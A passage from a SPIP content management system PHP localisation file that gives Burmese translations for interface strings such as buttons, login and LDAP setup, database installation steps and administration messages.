'bouton_radio_non_envoi_annonces_editoriales' => 'စာတည်းများ၏ ကြေငြာချက်များ ပေးပို့ရန်မလို',
'bouton_radio_pas_petition' => 'လျှောက်လဲချက်မလို',
'bouton_radio_petition_activee' => 'လျှောက်လဲချက် အတည်ပြုခဲ့ပြီးဖြစ်သည်',
'bouton_radio_supprimer_petition' => 'လျှောက်လဲချက် ပယ်ဖျက်ရန်',
'bouton_redirection' => 'ပြန်လည်ရည်ညွှန်းသည်',
'bouton_relancer_installation' => 'ပြန်လည် ထည့်သွင်းရန်',
'bouton_suivant' => 'နောက်တစ်ခု',
'bouton_tenter_recuperation' => 'ပြင်ဆင်ရန် ကြိုးပမ်းမှု',
'bouton_test_proxy' => 'proxy ကိုစမ်းသပ်ရန်',
'bouton_vider_cache' => 'မှတ်ဉာဏ်ကို ပျယ်ဖျက်ရန်',
'bouton_voir_message' => 'စာစောင်ကို အတည်မပြူခင် အရင်ကြည့်ရှုရန်',
// C
'cache_mode_compresse' => 'မှတ်ထားသော ဖိုင်များကို ချုံ့မထားသော နေရာတွင် သိမ်းထားသည်',
'cache_mode_non_compresse' => 'မှတ်ထားသော ဖိုင်များကို ချုံ့မထားသော ပုံစံဖြင့်ရေးထားသည်',
'cache_modifiable_webmestre' => 'ဤကန့်သတ်ချက်ကို webmasterမှ ပြန်လည်ပြုပြင်မွမ်းမံနိုင်သည်',
'calendrier_synchro' => '<b>iCal</b> နှင့်အတူ ပြက္ခဒိန် ကိုသင်အသုံးပြုလျှင် ဤဝက်ဘ်ဆိုက်၏ သတင်းအချက်လက်များနှင့် ၄င်းကို ချိတ်ဆက်နိုင်ပါသည်',
'connexion_ldap' => 'ချိတ်ဆက်မှု',
// D
'date_mot_heures' => 'H',
// E
'email' => 'အီးမေးလ်',
'email_2' => 'အီးမေးလ်',
'entree_adresse_annuaire' => 'အညွှန်းလိပ်စာများ',
'entree_adresse_email' => 'သင့်အီးမေးလ်လိပ်စာ',
'entree_base_donnee_1' => 'အချက်လက်သိုလှောင်မှု လိပ်စာ',
'entree_base_donnee_2' => '(တခါခါ ဤလိပ်စာသည် နာမည် «localhost» နှင့်ဆက်စပ်မှုရှိပြီး၊ တခါခါ ဘာမှမရှိဘဲဖြစ်နေသည်)',
'entree_biographie' => 'ကိုယ်ရေးရာဇဝင် အကျဉ်းချုပ်',
'entree_chemin_acces' => 'အခန်းကဏ္ဍထဲကို<b>ထည့်ပါ</b>',
'entree_cle_pgp' => 'သင့် PGP ကီး',
'entree_contenu_rubrique' => '(ပါဝင်သည့်အကြောင်းအရာ အကျဉ်းချုပ်)',
'entree_identifiants_connexion' => 'သင့်ဆက်သွယ်မှုကို ဆန်းစစ်သူများ၊',
'entree_informations_connexion_ldap' => 'LDAP အချက်လက်များဖြင့် ဖြည့်စွက်ပါ၊ လိုအပ်သောအချက်လက်များကို သင့်ကွန်ရက် ကြီးကြပ်သူထံမှ ရနိုင်ပါသည်',
'entree_infos_perso' => 'သင်ဘယ်သူလဲ?',
'entree_interieur_rubrique' => 'အခန်းကဏ္ဍထဲတွင်',
'entree_liens_sites' => '<b>ဆက်နွယ်မှု</b> (လေ့လာရန်ကိုး ကားဝက်ဘ်ဆိုက်)',
'entree_login' => 'သင့်ဝင်ရောက်မှု',
'entree_login_connexion_1' => 'ဆက်သွယ်မှုထဲသို့ ဝင်ရောက်မှု',
'entree_login_connexion_2' => '(FTP ထဲဝင်ရောက်မှုသည် တခါတရံ တက်လိုက်ကျလိုက်ဖြစ်နေသည်)',
'entree_login_ldap' => 'တစ်ဦးချင်း LDAPထဲ ဝင်ရောက်မှု',
'entree_mot_passe' => 'သင့်စကားဝှက်',
'entree_mot_passe_1' => 'ဆက်သွယ်မှု စကားဝှက်',
'entree_mot_passe_2' => '(FTP ထဲဝင်ရောက်မှု စကားဝှက်သည် တခါတရံ တက်လိုက်ကျလိုက်ဖြစ်နေသည)',
'entree_nom_fichier' => 'ဖိုင်နာမည် @texte_compresse@ကို ထည့်ပါ',
'entree_nom_pseudo' => 'သင့်အမည် (သို့) အမည်ကွဲ',
'entree_nom_pseudo_1' => 'သင့်အမည် (သို့) အမည်ကွဲ',
'entree_nom_site' => 'သင့်ဝက်ဘ်ဆိုက်နာမည်',
'entree_nouveau_passe' => 'စကားဝှက်အသစ်',
'entree_passe_ldap' => 'စကားဝှက်',
'entree_port_annuaire' => 'အညွှန်း Port နံပါတ်',
'entree_signature' => 'အမှတ်အသား',
'entree_titre_obligatoire' => '<b>ခေါင်းစဉ်</b> [လိုအပ်ပါသည်]<br />',
'entree_url' => 'သင့်ဝက်ဘ်ဆိုက်လိပ်စာ',
'erreur_plugin_fichier_absent' => 'ဖိုင်ပျောက်သည်',
'erreur_plugin_fichier_def_absent' => 'အဓိပ္ပါယ် ဖွင့်ဆိုချက်ဖိုင် ပျေက်နေသည်',
'erreur_plugin_nom_fonction_interdit' => 'တားမြစ်ထားသော လုပ်ဆောင်ချက်နာမည်',
'erreur_plugin_nom_manquant' => 'plugin နာမည်မရှိပါ',
'erreur_plugin_prefix_manquant' => 'Plugin နာမည်အတွက် ဖော်ပြမထားပါ',
'erreur_plugin_tag_plugin_absent' => '<plugin>အဓိပါယ် ဖွင့်ဆိုချက်ဖိုင်ထဲတွင် မရှိပါ',
'erreur_plugin_version_manquant' => 'မူကွဲဝင်ရောက်ချိတ်ဆက်မှု ပျောက်နေသည်',
// I
'ical_info1' => '‘ဤစာမျက်နှာသည် ဤဝက်ဘ်ဆိုက်၏ လုပ်ဆောင်ချက်များကို နည်းအမျိုးမျိုးဖြင့် ထိန်းသိမ်းရန်ဖြစ်သည်',
'ical_info2' => 'ပိုမိုစုံစုံလင်လင် သိရှိရန်<a href="@spipnet@">SPIP စာရွက်စာတမ်းများ</a> ကိုလာလည်ပါ။', # MODIF
'ical_info_calendrier' => 'ပြက္ခဒိန် နှစ်ခုသည် သင့်၏ပစ်ပျယ်ခြင်း ပြုလုပ်မည့် စာရင်းထဲတွင်ရှိနေသည်။ ပထမ တခုကတော့ ထုတ်လွင့်ပြီးသားဆောင်းပါးများ စာရင်း၊နောက် တခုကတော့ စာတည်းအဖွဲ့၏ထုတ်ပြန် ကြေငြာချက်များနှင့် သင့်၏ကိုယ်ပိုင် စကားဝှက်ကို ပြန်လည်ပြင်ဆင်ရန် သတင်းစကားများပါဝင်သည်။',
'ical_methode_http' => 'ဆွဲချရန်',
'ical_methode_webcal' => 'ပူးတွဲချိတ်ဆက်မှု (webcal://)',
'ical_texte_js' => 'javascriptသည် ဤဝက်ဘ်ဆိုက်ပေါ်ရှိ ဆောင်းပါးသစ်များ ထုတ်ဝေမှုကို မည်သည့်ဝက်ဘ်ဆိုက်တွင်မဆို လွယ်ကူစွာ သုံးစွဲဖော်ပြရန်ဖြစ်သည်',
'ical_texte_prive' => 'ဤပြက္ခဒိန်သည် ကိုယ်ရေးကိုတာ ကိစ္စများ (အလုပ်၊ ချိန်းဆိုချက်များ၊ တင်သွင်းပြီး ဆောင်ပါးများ၊ သတင်းများ စသည်ဖြင့်)',
'ical_texte_public' => 'ဤပြက္ခဒိန်သည် အများသုံးနိုင်ရန်ခွင့်ပြုသည် (အများဆိုင် ဆောင်းပါးများနှင့် သတင်းစကားများ)',
'ical_texte_rss' => 'ဤဆိုက်၏ နောက်ဆုံးရ သတင်းများကို XML/RSS (Rich Site Summary) တစ်ခုခုဖြင့် ပူးတွဲချိတ်ဆက်မှုပြုနိုင်ပါသည်။ ဤသို့အားဖြင့်လည်း တခြားဆိုက်များ၏ နောက်ဆုံးထုတ်ပြန်ချက်များကို မျှဝေမှုကို ရယူနိုင်ပါသည်',
'ical_titre_js' => 'ဂျာဗားစခရစ် (ပရိုဂရမ်ဘာသာစကား)',
'ical_titre_mailing' => 'စာပို့မှုစာရင်း',
'ical_titre_rss' => 'ပူးတွဲချိတ်ဆက်သည့် ဖိုင်များ',
'icone_activer_cookie' => 'ကွတ်ကီးကို ထားပါ',
'icone_admin_plugin' => 'ထပ်မံချိတ်ဆက်မှုကို စီမံခန့်ခွဲပါ',
'icone_afficher_auteurs' => 'စာရေးသူများကိုပြပါ',
'icone_afficher_visiteurs' => 'ဝက်ဘ်ဆိုက်တွင်း ဝင်ရောက်ကြည့်ရှုသူများကို ပြပါ',
'icone_arret_discussion' => 'ဤဆွေးနွေးမှုတွင် ပါဝင်မှုရပ်လိုက်ပါ',
'icone_calendrier' => 'ပြက္ခဒိန်',
'icone_creer_auteur' => 'စာရေးသူ အသစ်ဖန်တီး၍ ဤဆောင်းပါးနှင့် ချိတ်လိုက်ပါ',
'icone_creer_rubrique_2' => 'ကဏ္ဍအသစ်တည်ဆောက်ပါ',
'icone_envoyer_message' => 'သည်စာကို ပို့လိုက်ပါ',
'icone_modifier_article' => 'ဤဆောင်းပါးကို ပြန်လည်မွမ်းမံပါ',
'icone_modifier_message' => 'ဤမှာကြားချက်ကို ပြန်လည်မွမ်းမံပါ',
'icone_modifier_rubrique' => 'ဤကဏ္ဍကို ပြန်လည်မွမ်းမံပါ',
'icone_retour' => 'နောက်သို့',
'icone_retour_article' => 'ဆောင်းပါးသို့ပြန်သွားပါ',
'icone_supprimer_cookie' => 'ကွတ်ကီးကို ဖျက်ပစ်ပါ',
'icone_supprimer_rubrique' => 'ဤကဏ္ဍကို ဖျက်ပစ်ပါ',
'icone_supprimer_signature' => 'ဤအမှတ်သားကို ဖျက်ပစ်ပါ',
'icone_valider_signature' => 'ဤလက်မှတ်ကိုအတည်ပြုပါ',
'image_administrer_rubrique' => 'ဤကဏ္ဍကို သင်စီမံနိုင်သည်',
'info_1_article' => '၁ ဆောင်းပါး',
'info_1_site' => '၁ ဝက်ဘ်ဆိုက်',
'info_activer_cookie' => 'ကိုယ်ပိုင်နေရာနှင့် အများသုံးဝက်ဘ်ဆိုက်ကြားသို့ အလွယ်တကူကူးနိုင်ရန် သင့်ကိုခွင့်ပြုထားသော <b>ကြီးကြပ်သူကွတ်ကီး</b>တခုကို သင်အသက်သွင်းနိုင်သည်',
'info_admin_gere_rubriques' => 'ဤကြီးကြပ်သူသည် အောက်ပါကဏ္ဍများကို စီမံသည်',
'info_admin_gere_toutes_rubriques' => 'ဤဝက်ဘ်ဆိုက် ကြီးကြပ်သူသည်<b>ကဏ္ဍအားလုံး</b>ကို စီမံခန့်ခွဲသည်', # MODIF
'info_administrateur' => 'ကြီးကြပ်သူ',
'info_administrateur_1' => 'ကြီးကြပ်သူ',
'info_administrateur_2' => 'ဝက်ဆိုက်၏ (<i>သတိပေးချက်နှင့်အသုံးပြုပါ</i>)',
'info_administrateur_site_01' => 'အကယ်၍သင်သည် ဝက်ဘ်ဆိုက် ကြီးကြပ်သူဖြစ်ပါက',
'info_administrateur_site_02' => 'ဤချိတ်ဆက်မှုပေါ် နှိပ်လိုက်',
'info_administrateurs' => 'ဝက်ဘ်ဆိုက် ကြီးကြပ်သူများ',
'info_administrer_rubrique' => 'သင်သည်အခန်းကဏ္ဍကို စီမံခန့်ခွဲနိုင်သည်',
'info_adresse' => 'လိပ်စာသို့',
'info_adresse_url' => 'အများဆိုင်ရာ ဝက်ဘ်ဆိုက်လိပ်စာ',
'info_afficher_visites' => 'အတွက် ဝင်ရောက်ကြည့်ရှုမှုကို ပြပါ',
'info_aide_en_ligne' => 'SPIP အွန်လိုင်းအကူညီရယူရန်',
'info_ajout_image' => 'ပုံရိပ်များကို ဆောင်းပါးများနှင့် ပူးတွဲထည့်သည့်အခါ SPIP မှ နမူနာပုံရိပ်ကို ဖန်တီးပေးပါမည်။',
'info_ajout_participant' => 'ထည့်ထားပြီးဖြစ်သည့် ပါဝင်သူများစရင်းကို အောက်တွင်ဖော်ပြထားသည်',
'info_ajouter_rubrique' => 'စာရေးသူကဏ္ဍကို စီမံရန်ထပ်ထည့်ပါ',
'info_annonce_nouveautes' => 'နောက်ဆုံးကြေငြာချက်များ',
'info_anterieur' => 'အရင်စာမျက်နှာ',
'info_article' => 'ဆောင်းပါး',
'info_article_2' => 'ဆောင်းပါးများ',
'info_article_a_paraitre' => 'ဆောင်းပါးများထုတ်ဝေရမည့် နောက်ဆုံးရက်စွဲ',
'info_articles_02' => 'ဆောင်းပါးများ',
'info_articles_2' => 'ဆောင်းပါးများ',
'info_articles_auteur' => 'ဤစာရေးသူ၏ ဆောင်းပါးများ',
'info_articles_trouves' => 'ဆောင်းပါးများတွေ့သည်',
'info_articles_trouves_dans_texte' => 'စာသားထဲတွင် ဆောင်းပါးများကို တွေ့သည်',
'info_attente_validation' => 'သင့်ဆောင်းပါးများကို ပယ်ရန်အတည်ပြုခြင်း',
'info_aujourdhui' => 'ဒီနေ့',
'info_auteur_message' => 'စာပို့သူ',
'info_auteurs' => 'စာရေးသူများ',
'info_auteurs_par_tri' => 'စာရေးသူများ@partri@',
'info_auteurs_trouves' => 'စာရေးသူများကို တွေ့သည်',
'info_authentification_externe' => 'ပြင်ပအတည်ပြုချက်',
'info_avertissement' => 'သတိပေးချက်',
'info_base_installee' => 'သင့်အချက်လက် သိုလှောင်မှု တည်ဆောက်ပုံကို ထည့်သွင်းပြီးဖြစ်သည်',
'info_chapeau' => 'စာရေးခုံ',
'info_chapeau_2' => 'မိတ်ဆက်ခြင်း',
'info_chemin_acces_1' => 'ရွေးချယ်ရန်များ <b>ဖိုင်လမ်းညွှန်ထဲရှိ ဆက်သွယ်ရန်လမ်းကြောင်း</b>',
'info_chemin_acces_2' => 'အခုမှစပြီး ဖိုင်တွဲသို့ ဆက်သွယ်ရန် လိပ်စာလမ်းကြောင်းကို တပ်ဆင်ရမည်။ ဤလိပ်စာသည် သုံးစွဲသူ သိမ်းဆည်းထားသော ကိုယ်ရေးရာဇဝင် ဖိုင်များကို ရယူရန် မရှိမဖြစ်လိုအပ်ပါသည်။',
'info_chemin_acces_annuaire' => 'ရွေးချယ်ရန်များ <b>ဖိုင်လမ်းညွှန်ထဲရှိ ဆက်သွယ်ရန်လမ်းကြောင်း</b>',
'info_choix_base' => 'တတိယအဆင့်',
'info_classement_1' => ' out of @liste@',
'info_classement_2' => ' out of @liste@',
'info_code_acces' => 'သင့်ကိုယ်ပိုင်ကုတ်ကို မမေ့ပါနှင့်',
'info_config_suivi' => 'ဤလိပ်စာသည် အများစာပို့လိပ်စာနှင့် ပတ်သက်မှုရှိလျှင် ဆိုက်တွင်ပါဝင်သူများ မှတ်ပုံတင်နိုင်မည့် နေရာကို သိသာရန် လိပ်စာကိုဖော်ပြနိုင်သည်။ ဝက်ဘ်ဆိုက်မှတဆင့် မှတ်ပုံတင်နိုင်ရန် လိပ်စာသည် ဝက်ဘ်လိပ်စာဖြစ်သင့်သည်။ သို့မဟုတ် အကြောင်းအရာ သတ်မှတ်ဖော်ပြထားပြီးသား အီးမေးလ်လိပ်စာဖြစ်သင့်သည်<tt>@adresse_suivi@?subject=subscribe</tt>)',
'info_config_suivi_explication' => 'အများစာပို့လိပ်စာကို သင်လည်း ရယူပါဝင်နိုင်သည်။ ထုတ်ဝေရန် တင်သွင်းသည့် ဆောင်းပါးနှင့် သတင်းများ၏ အကြောင်းကြားချက်များကို အီးမေးလ်မှတဆင့် အလိုအလျှောက် ရောက်လာပါလိမ့်မည်',
'info_confirmer_passe' => 'စကားဝှက်အသစ်ကို အတည်ပြုပါ',
'info_connexion_base' => 'ဒုတိယအဆင့် <b>သတင်းအချက်လက် သိုလှောင်မှုကို ဆက်သွယ်ရန်</b>',
'info_connexion_ldap_ok' => 'LDAP ချိတ်ဆက်မှုအောင်မြင်သည်၊</b><p> သင်နောက်တဆင့်ဆက်သွားနိုင်သည်</p>', # MODIF
'info_connexion_mysql' => 'ပထမအဆင့် <b>သင့် MySQL ဆက်သွယ်မှု</b>',
'info_connexion_ok' => 'ဆက်သွယ်မှုအောင်မြင်သည်',
'info_contact' => 'ဆက်သွယ်သည်',
'info_contenu_articles' => 'ဆောင်းပါးများ အညွှန်း',
'info_creation_paragraphe' => '(စာပိုဒ်များ တည်ဆောက်ရန် ဗလာလိုင်းများကို ချန်ခဲ့ပါ)', # MODIF
'info_creation_rubrique' => 'ဆောင်းပါးများကို ရေး၍မရမီ<br /> အခန်းကဏ္ဍ အနည်းဆုံးတခုကို တည်ဆောက်ပါ<br />',
'info_creation_tables' => 'စတုတ္ထအဆင့် <b>အချက်လက် သိုလှောင်မှုဇယား အသစ်တည်ဆောကရန်</b>',
'info_creer_base' => 'အချက်လက် သိုလှောင်မှုအသစ်<b>တည်ဆောက်ပါ</b>',
'info_dans_rubrique' => 'ကဏ္ဍထဲတွင်',
'info_date_publication_anterieure' => 'အရင်ထုတ်ဝေခဲ့သည့် ရက်စွဲ',
'info_date_referencement' => 'ဤဆိုက်ကို ကိုးကားသည့်ရက်စွဲ',
'info_derniere_etape' => 'နောက်ဆုံးအဆင့် <b>လုပ်ပြီးပြီ',
'info_derniers_articles_publies' => 'နောင်ဆုံး ထုတ်ဝေလိုက်သော သင့်ဆောင်းပါးများ',
'info_desactiver_messagerie_personnelle' => 'သည်ဝက်ဘ်ဆိုက်ပေါ်မှာ သင့်ကိုယ်ပိုင်စာစောင်များကို ရနိုင်သည် (သို့) မဖြစ်နိုင်ပါ',
'info_descriptif' => 'ဖော်ပြချက်',
'info_discussion_cours' => 'ဆွေးနွေးနေဆဲ',
'info_ecrire_article' => 'ဆောင်းပါးများမရေးမီ အနည်းဆုံး အခန်းကဏ္ဍတစ်ခုကို အရင်ဖန်တီးပါ',
'info_email_envoi' => 'ပေးပို့သူ၏လိပ်စာ (ဖြစ်နိုင်လျှင်)',
'info_email_envoi_txt' => 'စာပို့သူ၏ အီးမေးလ်လိပ်စာကိုထည့်ပြီး စာပို့နေစဉ်တွင် အသုံးပြုပါ၊ (သတ်မှတ်ချက်- လက်ခံသူလိပ်စာကို ပေးပို့သူလိပ်စာအဖြစ်သုံးသည်)',
'info_email_webmestre' => 'ဝက်ဘ်ဆိုက်အုပ်ချုပ်သူ၏ အီးမေးလ်လိပ်စာ', # MODIF
'info_entrer_code_alphabet' => 'အသုံးပြုမည့် အက္ခရာကုတ်ကို ထည့်ပါ',
'info_envoi_email_automatique' => 'အလိုအလျောက်စာပို့ခြင်း',
'info_envoyer_maintenant' => 'အခုပို့လိုက်ပါ',
'info_etape_suivante' => 'နောက်တဆင့်သို့သွားပါ',
'info_etape_suivante_1' => 'နောက်တဆင့်သို့ ရွေ့နိုင်သည်',
'info_etape_suivante_2' => 'နောက်တဆင့်သို့ ရွေ့နိုင်သည်',
'info_exportation_base' => 'အချက်အလက် သိုလှောင်မှုကို @archive@သို့ပို့ပါ',
'info_facilite_suivi_activite' => 'To facilitate the follow-up of the site’s editorial; activities, SPIP can send notification by email, to an editor’s mailing list for instance, of publication requests and article validations.',
'info_fichiers_authent' => 'ဖိုင်\\".htpasswd\\"ကို အတည်ပြုပါ',
'info_forums_abo_invites' => 'သင့်ဝက်ဘ်ဆိုက် ဖိုရမ်မှာ အခမဲ့ဖြစ်သည်၊ ဝင်ရောက်ကြည့်ရှုသူများက အများသုံး ဝက်ဘ်ဆိုက်ပေါ်တွင် မှတ်ပုံတင်လိမ့်မည်',
'info_gauche_admin_effacer' => '<b>ဝက်ဘ်ဆိုက်ကြီးကြပ်သူသာ ဤစာမျက်နှာသို့ ဝင်နိုင်သည်၊</b><p> သည်ဟာက လုပ်ငန်းများစွာကို ထိန်းသိမ်းရန်အတွက် အထောက်ကူပြုသည်၊ အချို့က ဝက်ဘ်ဆိုက်ပေါ်တွင် လိုအပ်သော FTP ဆက်သွယ်မှုကို လုပ်ဆောင်စေနိုင်သည်</p>', # MODIF
'info_gauche_admin_tech' => '<b>ဝက်ဘ်ဆိုက်ကြီးကြပ်သူသာ ဤစာမျက်နှာသို့ဝင်နိုင်သည်၊</b><p> သည်ဟာက လုပ်ငန်းများစွာကို ထိန်းသိမ်းရန်အတွက် အထောက်ကူပြုသည်၊ အချို့က ဝက်ဘ်ဆိုက်ပေါ်တွင် လိုအပ်သော FTP ဆက်သွယ်မှုကို လုပ်ဆောင်စေနိုင်သည်</p>', # MODIF
'info_gauche_admin_vider' => '<b>ဝက်ဘ်ဆိုက်ကြီးကြပ်သူသာ ဤစာမျက်နှာသို့ဝင်နိုင်သည်၊</b><p> သည်ဟာက လုပ်ငန်းများစွာကို ထိန်းသိမ်းရန်အတွက် အထောက်ကူပြုသည်၊ အချို့က ဝက်ဘ်ဆိုက်ပေါ်တွင် လိုအပ်သော FTP ဆက်သွယ်မှုကို လုပ်ဆောင်စေနိုင်သည်</p>', # MODIF
'info_gauche_auteurs' => 'ဝက်ဘ်ဆိုက်အားလုံး၏ စာရေးသူများကို သည်မှာမြင်နိုင်သည်၊ ၎င်းတို့တခုစီ၏ အနေအထားများကို ရောင်စုံပုံဖြင့် ဖော်ပြထားသည် (ဝက်ဘ်ဆိုက်ကြီးကြပ်သူ = စိမ်းရောင်။ စာတည်း = အဝါရောင်)',
'info_gauche_auteurs_exterieurs' => 'ဝက်ဘ်ဆိုက်နှင့် ဆက်သွယ်မှုမရှိသော ပြင်ပစာရေးသူများကို အပြာရောင်ဖြင့်ဖော်ပြသည်၊ အမှိုက်ပုံးထဲ ထည့်၍ ၎င်းစာရေးသူများကို ဖျက်ပစ်ပါ', # MODIF
'info_gauche_messagerie' => 'စာပေးပို့ခြင်းက စာတည်းများကြားတွင် စာများကိုကာကွယ်ရန် စာအပြန်အလှန်ဖလှယ်ခြင်း (သင့်ကိုယ်ပိုင်သုံးရန်) သို့မဟုတ် ကိုယ်ပိုင်နေရာ၏ ကနဦးစာမျက်နှာတွင် ကြေငြာချက်များကို ဖော်ပြရန်ခွင့်ပြူသည် (အကယ်၍သင်သည် ကြီးကြပ်သူဖြစ်ခဲ့လျှင်ပေါ့)',
'info_gauche_numero_auteur' => 'စာရေးသူနံပါတ်',
'info_gauche_statistiques_referers' => 'ဤစာမျက်နှာတွင် <i>အကိုးကားယူသည့်နေရာများ</i> စာရင်းကို ဖော်ပြမည်။ ၄င်းသည် သင့်ကိုယ်ပိုင်ဝက်ဘ်ဆိုက်သို့ ချိတ်ဆက်ထားသော ဝက်ဘ်ဆိုက်များဖြစ်ပြီး မနေ့နှင့် ဒီနေ့အတွက်တရက်ချင်းစာရင်းဖြစ်သည်',
'info_gauche_visiteurs_enregistres' => 'ဤဝက်ဆိုက်၏ အများသုံးနေရာ အတွင်းဝင်ရောက်ကြည့်ရှုသူများမှတ်ပုံတင်ကို သင်မြင်မည်(ဖိုရမ်များ ခွင့်ပြုချက်ဖြင့်)',
'info_generation_miniatures_images' => 'ရုပ်ပုံများကို မြင်သာရန်ဖန်တီးနေသည်',
'info_gerer_trad' => 'ဘာသာပြန်ဆက်နွယ်မှု ပြုလုပ်နိုင်သလား',
'info_hebergeur_desactiver_envoi_email' => 'အချို့ပင်မဆာဗာများသည် ၎င်းတို့ဆာဗာပေါ်တွင် အလိုလျောက် အီးမေးလ်မပို့နိုင်ပါ၊ ဤသို့ဖြစ်ပါက အေက်ပါ SPIPသဏ္ဍန်များကိုလည်း အကောင်ထည်မဖော်နိုင်ပါ',
'info_hier' => 'မနေ့က',
'info_historique_activer' => 'မူကွဲခြေရာ ပြန်ကောက်နိုင်သည်',
'info_historique_affiche' => 'ဤမူကွဲကို ဖော်ပြပါ',
'info_historique_comparaison' => 'နှိုင်းယှဉ်ပါ',
'info_historique_desactiver' => 'ခြေရာပြန်ကောက်ကြည့်၍မရပါ',
'info_historique_texte' => 'ပြန်လည်မွမ်းမံမှုခြေရာက အောင်မြင်စွာ တည်းဖြတ်ခြင်းနှင့် ထပ်ပေါင်းခြင်း ပြုလုပ်ထားသော ဆောင်းပါးတွင် ပြုပြင်ချက် ကွဲပြားမှုများကို မြင်သာစေရန် လုပ်ဆောင်ပေးနိုင်သည်။',
'info_identification_publique' => 'အများသုံး အမှတ်အသား',
'info_image_process' => 'ဆက်သွယ်ထားသောပုံပေါ်တွင်နှိပ်လိုက်သောအခါ ရုပ်ပုံမြင်နိုင်ရန်အတွက် အကောင်းဆုံးဖန်တီးမှုနည်းလမ်းကိုရွေးပါ',
'info_image_process2' => '<b>N.B.</b> <i>ပုံရိပ်တခုမှ မတွေ့ရလျှင်၊ သင့်ဆာဗာသည် အဲဒီအတွက် တပ်ဆင်ထားခြင်း မရှိလို့ဖြစ်ပါမည်။ ဤလုပ်ဆောင်မှုကို သင်အလိုရှိတယ်ဆိုရင် ဝက်ဘ်ဝန်ဆောင်မှုကို ဆက်သွယ်ပြီးတော့ «GD» သို့မဟုတ် «Imagick» extensions ကို ထည့်သွင်းပေးပါရန် တောင်းဆိုပါ။</i>', # MODIF
'info_images_auto' => 'ပုံများကို အလိုအလျောက်တွက်ချက်သည်',
'info_informations_personnelles' => 'ပဉ္စမအဆင့် <b>ကိုယ်ရေးကိုယ်တာအချက်လက်</b>',
'info_inscription_automatique' => 'စာတည်များကို အလိုအလျေက်မှတ်ပုံတင်ခြင်း',
'info_jeu_caractere' => 'ဝက်ဘ်ဆိုက်သွင်ပြင်လက္ခဏာစု',
'info_jours' => 'ရက်များ',
'info_laisser_champs_vides' => '(ဤဖိုင်ကို ဗလာဖြစ်အောင်လုပ်ပါ)',
'info_langues' => 'ဝက်ဘ်ဆိုက်ဘာသာစကားများ',
'info_ldap_ok' => 'LDAP မှန်ကန်မှု စစ်ဆေးခြင်းကို စတင်ထည့်သွင်းနေသည်',
'info_lien_hypertexte' => 'ဆက်နွယ်မှု',
'info_liste_redacteurs_connectes' => 'ဆက်သွယ်သည့် စာတည်းစာရင်းများ',
'info_login_existant' => 'ဝင်ရောက်မှုကို ပိတ်ပင်ထားပြီး',
'info_login_trop_court' => 'ဝင်ရောက်မှုတိုလွန်းသည်',
'info_maximum' => 'အများဆုံး',
'info_meme_rubrique' => 'တစ်ကဏ္ဍထဲတွင်',
'info_message' => 'မှာကြားချက်ပုံစံ',
'info_message_efface' => 'စာစောင်ဖျက်ပစ်သည်',
'info_message_en_redaction' => 'သင့်စာစောင်ကို ပြုလုပ်နေဆဲ',
'info_message_technique' => 'နည်းပညာဆိုင်ရာ မှာကြားချက်',
'info_messagerie_interne' => 'အတွင်းပိုင်းစာစောင်',
'info_mise_a_niveau_base' => 'MySQL အချက်လက်သိုလှောင်ခြင်း မြှင့်တင်မှု',
'info_mise_a_niveau_base_2' => '{{သတိပေးချက်!}} ဤဆိုက်တွင် ထည့်သွင်းထားပြီးသော SPIP မူကွဲထက် ဟောင်းသော မူကွဲကို သင်ထည့်သွင်းမိပြီ။ သင့်သိုလှောင်မှု အန္တရယ်ရှိပြီ သို့ ပျက်ဆီးနှင့်ပြီ။ သင့်ဆိုက်သည်လည်း ကောင်းမွန်စွာနှင့် အလုပ်လုပ်တော့မည် မဟုတ်ပါ။ <br />{{သင့်လျော်သော SPIP ဖိုင်များကို ပြန်လည် ထည့်သွင်းပါ}}',
'info_modifier_rubrique' => 'ကဏ္ဍကို ပြုပြင်မွမ်းမံပါ',
'info_modifier_titre' => '@titre@ကို ပြုးပြင်မွမ်းမံပါ',
'info_mon_site_spip' => 'SPIP ဆိုက်',
'info_mot_sans_groupe' => '(အုပ်စုလိုက် မဟုတ်သော သော့ချက်စကားလုံးများ)',
'info_moteur_recherche' => 'ကနဦးရှာဖွေမှုအင်ဂျင်',
'info_moyenne' => 'ပျမ်းမျှ',
'info_multi_articles' => 'ဆောင်းပါးများအတွက် ဘာသာစကားမီနူးရနိုင်ပါသည်',
'info_multi_cet_article' => 'သည်ဆောင်းပါး ဘာသာစကား',
'info_multi_langues_choisies' => 'အောက်ဖော်ပြပါ ဘာသာစကားများကို စားတည်းများ ရွေးချယ်နိုင်အောင် ပြုလုပ်ပါ။ သင့်ဆိုက်တွင် အသုံးပြုနေသော ဘာသာစကားများကို ပြန်လည် ပိတ်ပင်၍ မရနိုင်တော့ပါ။',
'info_multi_rubriques' => 'ကဏ္ဍတိုင်းအတွက် ဘာသာစကားမီနူးကို ရရှိနိုင်ပါသည်',
'info_multi_secteurs' => 'ဆိုက်၏ ပထမဆုံး စာမျက်နှာတွင်တွင် အခန်းကဏ္ဍများကိုသာ မြင်စေလိုပါသလား',
'info_nom' => 'အမည်',
'info_nom_destinataire' => 'ပါဝင်သူအမည်',
'info_nom_site' => 'သင့်ဝက်ဘ်ဆိုက်နာမည်',
'info_nombre_articles' => '@nb_articles@ ဆောင်းပါးများ',
'info_nombre_partcipants' => 'ဆွေးနွေးမှုတွင် ပါဝင်သူများ',
'info_nombre_rubriques' => '@nb_rubriques@အပိုင်းကဏ္ဍများ',
'info_nombre_sites' => '@nb_sites@ဝက်ဘ်ဆိုက်များ',
'info_non_deplacer' => 'မရွှေ့ပါနှင့်',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP သည် ဝက်ဘ်ဆိုက်၏ နောက်ဆုံးကြေငြာချက်သတင်းများကို မှန်မှန်ပို့ပေးနိုင်ပါသည် (လက်ရှိထုတ်ဝေသော သတင်းနှင့် ဆောင်းပါးများ).',
'info_non_envoi_liste_nouveautes' => 'နောက်ဆုံးရ သတင်းစာရင်းကို မပို့ပါနှင့်',
'info_non_modifiable' => 'ပြန်လည်ပြုပြင်မွမ်းမံ၍မရပါ',
'info_non_suppression_mot_cle' => 'သည်သော့ချက်စကားလုံးကို မဖျက်ပစ်ချင်ပါ',
'info_notes' => 'အောက်ခြေမှတ်စု',
'info_nouveaux_message' => 'စာစောင်အသစ်',
'info_nouvel_article' => 'ဆောင်းပါးအသစ်',
'info_nouvelle_traduction' => 'ဘာသာပြန်အသစ်',
'info_numero_article' => 'ဆောင်းပါးနံပါတ်',
'info_obligatoire_02' => '[လိုအပ်ပါသည်]', # MODIF
